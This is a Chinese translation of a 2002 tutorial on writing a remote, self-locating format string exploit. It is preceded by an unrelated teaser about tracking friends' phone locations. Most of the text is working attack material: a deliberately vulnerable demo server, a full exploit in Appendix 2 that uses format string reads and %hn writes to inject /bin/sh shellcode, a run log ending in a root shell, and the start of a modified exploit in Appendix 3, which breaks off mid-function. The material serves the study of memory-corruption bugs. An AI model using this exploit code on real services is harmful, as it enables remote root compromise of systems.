【分析】如何写远程自动精确定位的format string exploit

手机定位程序 本来想写一个服务, 部署到阿里云, 当别人访问链接的时候, 就调用服务上传定位信息. 然后就知道好友现在在哪里了. 但是实际做的时候, 发现在浏览器访问地址的时候, 不会自动弹出定位授权的通知, 导致定位失败. 所以退而求其次, 使用静态html的方式.后续会继续研究为什么, 浏览器访问云端服务会导致不弹出定位授权访问的提示, 直接就授权失败.接着打开高德地图开放平台, 搜索坐标拾取器, 可以用坐标查找好友的位置. 阅读详情

如何写远程自动精确定位的format string exploit


创建时间:2002-04-28
文章属性:翻译
文章来源: http://www.xfocus.org/
文章提交: alert7 (sztcww_at_sina.com)

如何写远程自动精确定位的format string exploit

原作: <<Howto remotely and automatically exploit a format bug >>
      by Fr閐閞ic Raynal <pappy@miscmag.com>
翻译整理: alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/  http://www.whitecell.org/
时间:2002-4-28

测试环境 both redhat linux 6.2 and 7.2默认安装


★★★ 前言

感觉这片文章还不错,就辛苦一下我自己,翻译下吧
佛曰:我不入地狱谁入地狱    :)
如果你在写format string exploit的时候是依照该文章的模板写的话,
记得抄送一份到我的信箱和原作者信箱哈:)  

翻译整理有误的地方,还请斧正
Please email to: < alert7@xfocus.org >

format string bug已经被大家熟悉了,但写一个这样的exploit或者就有点难度了,
特别是写一个远程自动精确定位的format string exploit.当然,有些format string
bug是不能写出远程自动精确定位的exploit的,比如说vul出现在syslog(LOG_ERR, buf),
这样的vuln就只能暴力猜测了.
下面我们就step by step来展现下这种远程自动精确定位的format string exploit技术。


★★★ --[  1. Context : the vulnerable server  ]--

我们写了个很小的服务程序做为演示之用。请求login名和密码,然后echo它的输入。
该服务程序代码放在appendix 1.

安装fmtd server, 配置如下,我们使用12345 port

# /etc/inetd.conf
12345  stream  tcp  nowait  root  /home/alert7/format/fmtd

Or with xinetd:

# /etc/xinetd.conf

service fmtd
{
  type        = UNLISTED
  user        = raynal
  group       = users
  socket_type = stream
  protocol    = tcp
  wait        = no
  server      = /tmp/fmtd
  port        = 12345
}

我的实验环境是默认redhat 6.2,所以选用的是第一种。

重起inetd服务。使fmtd服务有效。
[root@redhat]# netstat -nlp|grep 12345
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:12345           0.0.0.0:*               LISTEN      4932/inetd

现在,看看该服务是如何工作的:
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
helo
helo
helo world
helo world
^]
telnet> quit
Connection closed.

看一下log文件
[root@redhat]# tail -5 /var/log/messages
Mar  3 22:03:14 redhat fmtd[4948]: login -> read login [alert7^M ] (8) bytes
Mar  3 22:03:15 redhat fmtd[4948]: passwd -> read passwd [bffff820] (3) bytes
Mar  3 22:03:15 redhat fmtd[4948]: vul() -> tmp = 0xbffff418 buf = 0xbffff018
Mar  3 22:03:23 redhat fmtd[4948]: vul() -> error while reading input buf [] (0)
Mar  3 22:03:23 redhat inetd[4932]: pid 4948: exit status 255

假如我们使用format string,try again

[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
%x %x %x %x
d 25207825 78252078 d782520

字符串"%x %x %x %x"将被做为format string,所以我们就看到了d 25207825 78252078 d782520,
显然,该server就存在一个format string vuln.

<off topic>
    下面是作者的原话,因为我认为他讲的有点问题,所以没有翻译,留着给读者自己鉴别。
    In fact, all programs acting like that are not vulnerable to a
    format bug:

          int main( int argc, char ** argv )
          {
            char buf[8];
            sprintf( buf, argv[1] );
          }
      
    Using %hn to exploit this leads to an overflow: the formatted
    string is getting greater and greater, but since no control is
    performed on its length, an overflow occurs.
    而我认为这样的程序还是可以利用format string bug to exploit it.
    唯一担心的是formatted string太大,会碰到堆栈底(0xc0000000)而使程序终止,
    这样的话就比较麻烦了。
</off topic>

看看server中问题所在的函数vul():
  ...
  snprintf(tmp, sizeof(tmp)-1, buf);
  ...

因为buffer <buf> 是用户可以直接输入控制的,所以利用它我们可以控制服务器,获取
server权限的shell.


★★★  --[ 2. Requested parameters ]--

就象local format bug一样,以下这些参数需要获得:

    * the offset to reach the beginning of the buffer ;
      到buffer开始的offset
    * the address of a shellcode placed somewhere is the server's memory ;
      shellcode的地址
    * the address of the vulnerable buffer ;
      vuln buffer的地址,也就是input buffer format string的地址
    * a return address.
      一个要覆盖的返回地址,覆盖这个地址,我们的shellcode才能得到控制权

exploit代码在附录2。下面部分我们来解释下exploit是如何设计的。

以下这些是exploit中使用到的一些变量:

    * sd : the socket between client (exploit) and the vulnerable server ;
           client和vuln server的一个socket
    * buf : a buffer to read/write some data ;
           读写的一些数据
    * read_at : an address in the server's stack ;
           要读服务器stack的地址
    * fmt : format string sent to the server.
           发送到server的format string


★★   --[  2.1 猜测offset  ]--

该offset在该类型的exploit中总是需要的,它的获取跟local exploit一样:

[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141

这里,offset为2。该变量使用自动猜测也是很容易得到的(通过get_offset()获得)。
它发string "AAAA%<val>$x"到服务器,假如offset是 <val>,服务器将会回答"AAAA41414141"

在某些不支持$的系统上,使用
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
aaaa%p
aaaa0x8
aaaa%p%p
aaaa0xa0x61616161

其实还有个对齐问题,作者可能没有注意到
使用该模板发送到服务器
[a][a][a]AAAA%<val>$x
[a]表示该a可选
假如发送aAAAA%7$x
服务器回答aAAAA41414141
那么就需要添一个a对齐即aligned=1,offset为7

在本文演示程序中,aligned = 0,offset = 2

例如printf(buf)这样一个函数调用时候
------------------------------------------------------------------
| printf's 返回时ebp | printf's 返回时eip | buf地址 |   x   |  x   | buf
------------------------------------------------------------------
                                          buf_ptr
这里,aligned 就是等于4- (buf-buf_ptr-4)%4
     if  (aligned ==4) aligned =0;
    
offset = (buf-buf_ptr-4)/4
其实aligned,offset 大部分时候可以用手动计算就可以得到

  #define MAXOFFSET 255

  for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
    write(sock, fmt, strlen(fmt));
    memset(buf, 0, sizeof(buf));
    sleep(1);
    read(sock, buf, sizeof(buf))
    if (!strcmp(buf, "AAAA41414141"))
      offset = i;
  }


★★  --[  2.2 Guessing the address of the shellcode in the stack  ]--

我们必须猜测shellcode在服务器内存中的地址。我们可以把shellcode放到
vuln buffer中或者其他地方。比如密码中(PASS)---一些ftp server对anonymous
的passwd没有多做检查。我们的server就是这样工作的 。


★   -- --[  Making a format bug a debugger  ]-- --

我们的目标是找到shellcode在服务器内存中地址。所以我们将使用remote debugger
来达到目的。


使用format string "%s", 我们将send连续的"%s"到服务器,exploit能dump出
服务器进程的内存:

         <addr>%<offset>$s

exploit中,分两步完成:

   1. get_addr_as_char(u_int addr, char *buf)函数把add转化为char:
       *(u_int*)buf = addr;

   2. 4个字节后包含了format string

然后format string被送到远程的服务器上:

  get_addr_as_char(read_at, fmt);
  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
  write(sd, fmt, strlen(fmt));

client读出在<addr>地址的数据(以string形式)。假如不包含shellcode,那么下一次
就在<addr + 读出数据的多少 >的地址读下一段string。

为了构造out buffer, sprintf() 从<in> string开始分析.
前面4个字节是要读的地址:他们简单的被拷贝到output buffer中.
然后是format string.因此,我们必须移4个字节:

  while( (len = read(sd, buf, sizeof(buf))) > 0) {
    [ ... ]
    read_at += (len-4+1);
    [ ... ]
  }


★    -- --[  我们要寻找什么 ?  ]-- --

另外一个问题是,如何在内存中鉴别出shellcode。假如正好读出了所有的shellcode,
还是一不小心就会错过它。因为buffer是以NULL结尾的,该字符串包含许多NOPs。因此读
shellcode操作可以分成两步完成。

为了避免上述问题,假如读的字节多少等于buffer的大小,exploit会忽略最后sizeof(shellcode)
字节大小的数据。所以,read操作按下面执行:

  while( (len = read(sd, buf, sizeof(buf))) > 0) {
    [ ... ]
    read_at += len;
    if (len == sizeof(buf))
      read_at-=strlen(shellcode);
    [ ... ]
  }

注意:这种情况还没有测试...所以不保证它能正常工作 ;-/
     这种机会出现的概率比较小,如果真的出现这样的情况的话,exploit会失败。


★    -- --[  在远程进程中查找shellcode的精确地址  ]-- --

在buf中匹配Pattern :

    ptr = strstr(buf, pattern);

它返回一个指向buf中pattern的指针。因此,shellcode的位置就是:
    addr_shellcode = read_at + (ptr-buf);

事实上还应该减去4,那4个字节就是用来读read_at地址的buffer开始的那四个字节

        addr_shellcode = read_at + (ptr-buf) - 4;

其实应该写成这样好理解些
        addr_shellcode = read_at + (ptr-(buf + 4) );


★   -- --[  shellcode : a summary  ]-- --

代码一小段,没什么好解释的:

  while( (len = read(sd, buf, sizeof(buf))) > 0) {
    if ((ptr = strstr(buf, shellcode))) {
      addr_shellcode = read_at + (ptr-buf) - 4;
      break;
    }
    read_at += (len-4+1);
    if (len == sizeof(buf)) {
      read_at-=strlen(shellcode);
    }
    memset (buf, 0x0, sizeof (buf));
    get_addr_as_char(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  }


★★  --[  2.3 猜测返回地址  ]--

其次,我们该来猜测返回地址了。我们需要在远程进程stack(其实随便什么地址都行,只要
最后让shellcode得到控制权)中找到这样一个地址,把shellcode的地址写入该返回地址。

我们的目标是找到积存器%eip存放的堆栈位置。分两步完成:

   1. 找到input buffer的地址
   2. 找出属于vuln buffer函数的返回地址

为什么我们需要查找buffer的地址呢?在堆栈中查找(saved ebp, saved eip)pair
对我们来说不是一个好主意。因为在不同的调用函数不用清理堆栈。所以它将包含以前函数
调用的(saved ebp, saved eip)pair,甚至还包含着在进程中不使用的这样的pair.

因此,第一步,我们来猜测vuln buffer的地址。在该地址之上的地址中的pairs
(saved ebp, saved eip)才是可用的。


★   -- --[  猜测input buffer地址  ]-- --

input buffer在远程进程内存中是容易鉴别的:它是我们输入数据的一个mirror。
server fmtd不做任何修改的拷贝它们。(假如在服务器回答之前对input buffer
做了一下处理,比如都转成大写,这样就比较麻烦,需要处理下)

所以,我们很容易的就能得到一份format string拷贝的地址:

  while((len = read(sd, buf, sizeof(buf))) > 0) {
    if ((ptr = strstr(buf, fmt))) {
      addr_buffer = read_at + (ptr-buf) - 4;
      break;
    }
    read_at += (len-4+1);
    memset (buf, 0x0, sizeof (buf));
    get_addr_as_char(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  }


★    -- --[  猜测返回地址  ]-- --

大部分linux的stack top在0xc0000000.但不是全部:Caldera 的stack top为
0x80000000 (BTW, 谁能解释下为什么?).还有一些打了安全内核补丁的stack top也
不一定为0xc0000000。那些返回地址的存放地位置大概在0xbfffXXXX,这里 <XX>是不
定数。而进程的代码被装载到0x08048000开始处。

所以,我们必须读远程堆栈,找到如下:

           0x0804XXXX
           0xbfffXXXX
           Top of the stack

由于i386上是小端字节序,这就等于查找下面字符序列0xff 0xbf XX XX 0x04 0x08.
就象前面看到的,我们不必考虑返回回来的string的最前面的4个字节:

    i = 4;
    while (i<len-5 && addr_ret == -1) {
      if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
      buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
    addr_ret = read_at + i - 2 + 4 - 4;
    fprintf (stderr, "[ret addr is: 0x%x (%d) ]/n", addr_ret, len);
      }
      i++;
    }
    if (addr_ret != -1) break;

变量<addr_ret>是用一个公式来计算:

    * read_at : the address we just read ;
    * +i : the offset in the string we are looking for the pattern (we
      can't use strstr() since our pattern has wildcards - undefined
      bytes XX) ;
    * -2 : the first bytes we discover in the stack are ff bf, but
      he full word (i.e. saved %ebp) is written on 4 bytes. The -2
      is for the 2 "least bytes" placed at the beginning of the word XX
      XX ff bf ;
    * +4 : this modification is due to the return address which is 4
      bytes above the saved %ebp ;
    * -4 : as you should be used to now, the first 4 bytes which are a
      copy of the read address.
    不翻译上面的了,中文意思表达不清,还是E的吧



★★★--[  3. Exploitation  ]--

到此,我们知道了所有需要参数,这样exploit实现起来应该不是件难事。
我们必须在vuln 函数的返回地址(addr_ret)写上shellcode的地址(addr_shellcode).
fmtbuilder函数是从[5]中栽出来的,并且构造format string发送到server:

      build_hn(buf, addr_ret, addr_shellcode, offset, 0);
      write(sd, buf, strlen(buf));

一旦在远程堆栈中替换完成,我们就只等vul()返回了。然后我们就send "quit"命令使
vul()函数返回。

      strcpy(buf, "quit");
      write(sd, buf, strlen(buf));

最后,函数interact() 允许我们获得一个shell.

[alert7@redhat]$ ./expl-fmtd  -a 0xbfffed01
Using IP 127.0.0.1
Connected to 127.0.0.1
[buffer addr is: 0xbffff018 (12) ]
buf = (12)
18 f0 ff bf 18 f0 ff bf 25 32 24 73

[shell addr is: 0xbffff820 (57) ]
buf = (57)
18 f8 ff bf 48 fc ff bf 50 88 04 08 eb 1f 5e 89 76 08 31 c0 88
46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89
d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68
[ret addr is: 0xbffff81c (57) ]
Building format string ...
Sending the quit ...
bye bye ...
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) groups=0(root)
exit


★★★--[  4. 小节  ]--

正如我们看到,自动精确定位也不是十分困难。
fmtbuilmder库也提供了一些必要的工具 (参看参考)。

这里有一点需要注意的,read_at的地址不能太低,太低的话会使server当掉,因为那些地址
是不可访问的。如果这样的话,还需要自行纠正一下。

该解决方法不好的地方就是返回地址在input buffer之下。返回地址使用的是vul的返回地址。
也就是说等vul返回的时候,buffer已经被程序清0了,所以该exploit使用的shellcode是
放到passwd中传过去的。
我一直比较喜欢覆盖*printf函数本身的返回地址。这样当*printf()返回的时候,buffer还
没有被清掉,如果shellcode放在buffer中的话,还是可用的。

还有什么--见Appendix 3


★--[  Greetings  ]--

Denis Ducamp and Renaud Deraison for their comments/fixes.
感谢Denis Ducamp和Renaud Deraison

------------------------------------------------------------------------


--[  Appendix 1 : the server side fmtd  ]--

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>

void respond(char *fmt,...);

int vul(void)
{
  char tmp[1024];
  char buf[1024];
  int len = 0;

  syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x/n", tmp, buf);

  while(1) {

    memset(buf, 0, sizeof(buf));
    memset(tmp, 0, sizeof(tmp));
    if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
      syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
         buf, len);
      exit(-1);
    } /*
    else
    syslog(LOG_INFO, "vul() -> read %d bytes", len);
      */
    if (!strncmp(buf, "quit", 4)) {
      respond("bye bye .../n");
      return 0;
    }
    snprintf(tmp, sizeof(tmp)-1, buf);
    respond("%s", tmp);

  }
}

void respond(char *fmt,...)
{
  va_list va;
  char buf[1024];
  int len = 0;

  va_start(va,fmt);
  vsnprintf(buf,sizeof(buf),fmt,va);
  va_end(va);
  len = write(STDOUT_FILENO,buf,strlen(buf));
  /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
}


int main()
{
  struct sockaddr_in sin;
  int i,len = sizeof(struct sockaddr_in);
  char login[16];
  char passwd[1024];
  openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);

  /* get login */
  memset(login, 0, sizeof(login));
  respond("login: ");
  if ( (len = read(0, login, sizeof(login))) <= 0 ) {
    syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
       login, len);
    exit(-1);
  } else
    syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);

  /* get passwd */
  memset(passwd, 0, sizeof(passwd));
  respond("password: ");
  if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
    syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
       passwd, len);
    exit(-1);
  } else
    syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);

  /* let's run ... */
  vul();
  return 0;
}

------------------------------------------------------------------------


--[  Appendix 2 : the exploit side expl-fmtd  ]--

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>



char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { /
        b0 = (addr >> 24) & 0xff; /
            b1 = (addr >> 16) & 0xff; /
            b2 = (addr >>  8) & 0xff; /
            b3 = (addr      ) & 0xff; /
                if ( b0 * b1 * b2 * b3 == 0 ) { /
                    printf( "/n%s contains a NUL byte. Leaving.../n", str ); /
                      exit( EXIT_FAILURE ); /
                } /
    }
#define MAX_FMT_LENGTH     128
#define ADD        0x100    
#define FOUR            sizeof( size_t ) * 4
#define TWO             sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

int interact(int sock)
{
  fd_set fds;
  ssize_t ssize;
  char buffer[1024];

  write(sock, BANNER"/n", sizeof(BANNER));
  while (1) {
    FD_ZERO(&fds);
    FD_SET(STDIN_FILENO, &fds);
    FD_SET(sock, &fds);
    select(sock + 1, &fds, NULL, NULL, NULL);

    if (FD_ISSET(STDIN_FILENO, &fds)) {
      ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
      if (ssize < 0) {
    return(-1);
      }
      if (ssize == 0) {
    return(0);
      }
      write(sock, buffer, ssize);
    }

    if (FD_ISSET(sock, &fds)) {
      ssize = read(sock, buffer, sizeof(buffer));
      if (ssize < 0) {
    return(-1);
      }
      if (ssize == 0) {
    return(0);
      }
      write(STDOUT_FILENO, buffer, ssize);
    }
  }
  return(-1);
}

u_long resolve(char *host)
{
  struct hostent *he;
  u_long ret;

  if(!(he = gethostbyname(host)))
    {
      herror("gethostbyname()");
      exit(-1);
    }

  memcpy(&ret, he->h_addr, sizeof(he->h_addr));
  return ret;
}
int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
  unsigned char b0, b1, b2, b3;
  unsigned int high, low;
  int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
  int sz;
  int i;

  /* <locaddr> : where to overwrite */
  OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
  sz = snprintf(buf, TWO + 1,     /* 8 char to have the 2 addresses */
             "%c%c%c%c"       /* + 1 for the ending /0 */
             "%c%c%c%c",
             b3, b2, b1, b0,
             b3 + 2, b2, b1, b0);
  
  /* where is our shellcode ? */
  OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
  high = (retaddr & 0xffff0000) >> 16;
  low = retaddr & 0x0000ffff;      
  
  for (i=0;i<alinged;i++)
      strcat(buf,"a");

  return snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
           "%%.%hdx%%%d$n%%.%hdx%%%d$hn",
           low - TWO + start - base,
           offset,
           high - low + start,
           offset + 1);
}



void get_addr_as_char(u_int addr, char *buf) {

  *(u_int*)buf = addr;
  if (!buf[0]) buf[0]++;
  if (!buf[1]) buf[1]++;
  if (!buf[2]) buf[2]++;
  if (!buf[3]) buf[3]++;
}

int get_offset(int sock,int * alinged) {

  int i, j,offset = -1, len;
  char fmt[128], buf[128];
  char tmp1[128],tmp2[128];

  
  for (j =0;j<4;j++)
  {
  if (j == 0)
    {
      strcpy(tmp1,"AAAA%%%d$x");
      strcpy(tmp2,"AAAA41414141");
    }
  if (j == 1)
    {
      strcpy(tmp1,"AAAAa%%%d$x");
      strcpy(tmp2,"AAAAa41414141");
    }
  if (j == 2)
    {
      strcpy(tmp1,"AAAAaa%%%d$x");
      strcpy(tmp2,"AAAAaa41414141");
    }
  if (j == 3)
    {
      strcpy(tmp1,"AAAAaaa%%%d$x");
      strcpy(tmp2,"AAAAaaa41414141");
    }

    for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

    snprintf(fmt, sizeof(fmt), tmp1, i);
    write(sock, fmt, strlen(fmt));
    memset(buf, 0, sizeof(buf));
    sleep(1);
    if ((len = read(sock, buf, sizeof(buf))) < 0) {
      fprintf(stderr, "Error while looking for the offset (%d)/n", len);
      close(sock);
      exit(EXIT_FAILURE);
    }

    if (debug)
      fprintf(stderr, "testing offset = %d fmt =  [%s] buf = [%s] len = %d/n",
          i, fmt, buf, len);

    if (!strcmp(buf, tmp2))
    {
    offset = i;
    *alinged = j;
    goto OUT;
    }
  }//end for i

  }//end for j
OUT:
  return offset;
}

char *shellcode =
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

int main(int argc, char **argv)
{
  char *ip = "127.0.0.1", *ptr;
  struct sockaddr_in sck;
  u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */
  u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
  char buf[1024], fmt[128], c;
  int port = 12345, offset = -1;
  int sd, len, i;
  int aligned;

  while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
    switch (c) {
      case 'i':
    ip = optarg;
    break;
      
      case 'p':
    port = atoi(optarg);
    break;

      case 'a':
    addr_stack = strtoul(optarg, NULL, 16);
    break;
    
      case 'o':
    offset = atoi(optarg);
    break;

      case 'v':
    verbose = 1;
    break;

      case 'd':
    debug = 1;
    break;

      default:
    fprintf(stderr, "Unknwon option %c (%d)/n", c, c);
    exit (EXIT_FAILURE);
    }
  }

  /* init the sockaddr_in */
  fprintf(stderr, "Using IP %s/n", ip);
  sck.sin_family = PF_INET;
  sck.sin_addr.s_addr = resolve(ip);
  sck.sin_port = htons (port);

  /* open the socket */
  if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
    perror ("socket()");
    exit (EXIT_FAILURE);
  }
  
  /* connect to the remote server */
  if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
    perror ("Connect() ");
    exit (EXIT_FAILURE);
  }
  fprintf (stderr, "Connected to %s/n", ip);
  if (debug) sleep(10);

  /* send login */
  memset (buf, 0x0, sizeof(buf));
  len = read(sd, buf, sizeof(buf));
  if (strncmp(buf, "login", 5)) {
    fprintf(stderr, "Error: no login asked [%s] (%d)/n", buf, len);
    close(sd);
    exit(EXIT_FAILURE);
  }
  strcpy(buf, "toto");
  len = write (sd, buf, strlen(buf));
  if (verbose) fprintf(stderr, "login sent [%s] (%d)/n", buf, len);
  sleep(1);

  /* passwd: shellcode in the buffer and in the remote stack */
  len = read(sd, buf, sizeof(buf));
  if (strncmp(buf, "password", 8)) {
    fprintf(stderr, "Error: no password asked [%s] (%d)/n", buf, len);
    close(sd);
    exit(EXIT_FAILURE);
  }
  write (sd, shellcode, strlen(shellcode));
  if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)/n", len);
  sleep(1);

/***********************************************************************/
  /* find offset and aligned ,一般情况这个可以手动判断就可以了,不过程序判断
   *也不麻烦
   */
  if (offset == -1) {
    if ((offset = get_offset(sd,&aligned)) == -1) {
      fprintf(stderr, "Error: can't find offset/n");
      fprintf(stderr, "Please, use the -o arg to specify it./n");
      close(sd);
      exit(EXIT_FAILURE);
    }
    if (verbose) fprintf(stderr, "[Found offset = %d]/n", offset);
  }
/***********************************************************************/

  /* look for the address of the shellcode in the remote stack */
  memset (fmt, 0x0, sizeof(fmt));
  read_at = addr_stack;
  get_addr_as_char(read_at, fmt);
  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
  /*
   *构造read_at%n$s,准备读read_at内存地址的内容
   */
  write(sd, fmt, strlen(fmt));
  sleep(1);

  while((len = read(sd, buf, sizeof(buf))) > 0 &&
    (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {

    if (debug) fprintf(stderr, "Read at 0x%x (%d)/n", read_at, len);

/***********************************************************************/
//以下查找shellcode 在内存中的地址
    /* the shellcode */
    if ((ptr = strstr(buf, shellcode))) {
      addr_shellcode = read_at + (ptr-buf) - 4;
      fprintf (stderr, "[shell addr is: 0x%x (%d) ]/n", addr_shellcode, len);
      fprintf(stderr, "buf = (%d)/n", len);
      for (i=0; i<len; i++) {
    fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
    if (i && i%20 == 0) fprintf(stderr, "/n");
      }
      fprintf(stderr, "/n");
    }
/***********************************************************************/


/***********************************************************************/
//以下查找format string地址
    /* the input buffer */
    if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
      addr_buffer = read_at + (ptr-buf) - 4;
      /*addr_buffer就是format string的地址*/
      fprintf (stderr, "[buffer addr is: 0x%x (%d) ]/n", addr_buffer, len);
      fprintf(stderr, "buf = (%d)/n", len);
      for (i=0; i<len; i++) {
    fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
    if (i && i%20 == 0) fprintf(stderr, "/n");
      }
      fprintf(stderr, "/n/n");
    }
/***********************************************************************/

#if 0
if (addr_buffer != -1)
    addr_ret = addr_buffer-(4*offset+4)-aligned - 4*2 - 4;
#endif

/***********************************************************************/
//以下查找要覆盖的返回地址的地址
    /* return address */
    if (addr_buffer != -1) {
      i = 4;
      while (i<len-5 && addr_ret == -1) {
    if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
        buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
      addr_ret = read_at + i - 2 + 4 - 4;
      if (  (addr_ret & 0xff)* ( (addr_ret >>  8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
          addr_ret = -1;
      else fprintf (stderr, "[ret addr is: 0x%x (%d) ]/n", addr_ret, len);
    }
    i++;
      }
    }
/***********************************************************************/


    read_at += (len-4+1);
    if (len == sizeof(buf)) {
      fprintf(stderr, "Warning: this has not been tested !!!/n");
      fprintf(stderr, "len = %d/nread_at = 0x%x", len, read_at);
      read_at-=strlen(shellcode);
    }
    get_addr_as_char(read_at, fmt);
    write(sd, fmt, strlen(fmt));
  
  } //end while

  /* send the format string */
  fprintf (stderr, "Building format string .../n");
  memset(buf, 0, sizeof(buf));
  build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned);
  write(sd, buf, strlen(buf));
  sleep(1);
  read(sd, buf, sizeof(buf));

  /* call the return while quiting */
  fprintf (stderr, "Sending the quit .../n");
  strcpy(buf, "quit");
  write(sd, buf, strlen(buf));
  sleep(1);

  interact(sd);

  close(sd);
  return 0;
}



------------------------------------------------------------------------


--[  Appendix 3 : the exploit modify by alert7  ]--

/********************************************************************/

/*
changelog
1
如果input buffer够大,而又没有其他地址可输入的地方,没有象类似pass的时候
我们可以把shellcode直接放到input buffer中

2
该改进过的exploit考虑了aligned的问题了,原来原作者没有考虑到
虽然在这个例子中,我们没有碰到,也就是在这个例子中aligned为0

3
改进过的exploit需要猜测3个部分
  一个是offset和aligned
  第二个就是input buffer的地址,也就是format string的地址
  第三个就是ret_loc,要覆盖的返回地址
  减少了猜测shellcode的地址的过程,因为现在把shellcode放到在了
      format string后面,直接和format string放进了input buffer
      所以,有了format string地址,就有了shellcode地址
4
改进过的exploit修改的返回地址是*printf本身的返回地址,更精确些
关于覆盖*printf本身的返回地址,请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>
也就是由于使用了该技术,才使的我们的shellcode可以放在input buffer中。

5
该exploit能正确处理
象printf(buf)(format string可以在buf中找到)和sprintf(buf1,buf2)
(format string可以同时在buf1和buf2中找到)这样两大类*printf函数

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>



char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { /
        b0 = (addr >> 24) & 0xff; /
            b1 = (addr >> 16) & 0xff; /
            b2 = (addr >>  8) & 0xff; /
            b3 = (addr      ) & 0xff; /
                if ( b0 * b1 * b2 * b3 == 0 ) { /
                    printf( "/n%s contains a NUL byte. Leaving.../n", str ); /
                      exit( EXIT_FAILURE ); /
                } /
    }
#define MAX_FMT_LENGTH     128
#define ADD        0x100    
#define FOUR            sizeof( size_t ) * 4
#define TWO             sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

char *shellcode =
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

int interact(int sock)
{
  fd_set fds;
  ssize_t ssize;
  char buffer[1024];

  write(sock, BANNER"/n", sizeof(BANNER));
  while (1) {
    FD_ZERO(&fds);
    FD_SET(STDIN_FILENO, &fds);
    FD_SET(sock, &fds);
    select(sock + 1, &fds, NULL, NULL, NULL);

    if (FD_ISSET(STDIN_FILENO, &fds)) {
      ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
      if (ssize < 0) {
    return(-1);
      }
      if (ssize == 0) {
    return(0);
      }
      write(sock, buffer, ssize);
    }

    if (FD_ISSET(sock, &fds)) {
      ssize = read(sock, buffer, sizeof(buffer));
      if (ssize < 0) {
    return(-1);
      }
      if (ssize == 0) {
    return(0);
      }
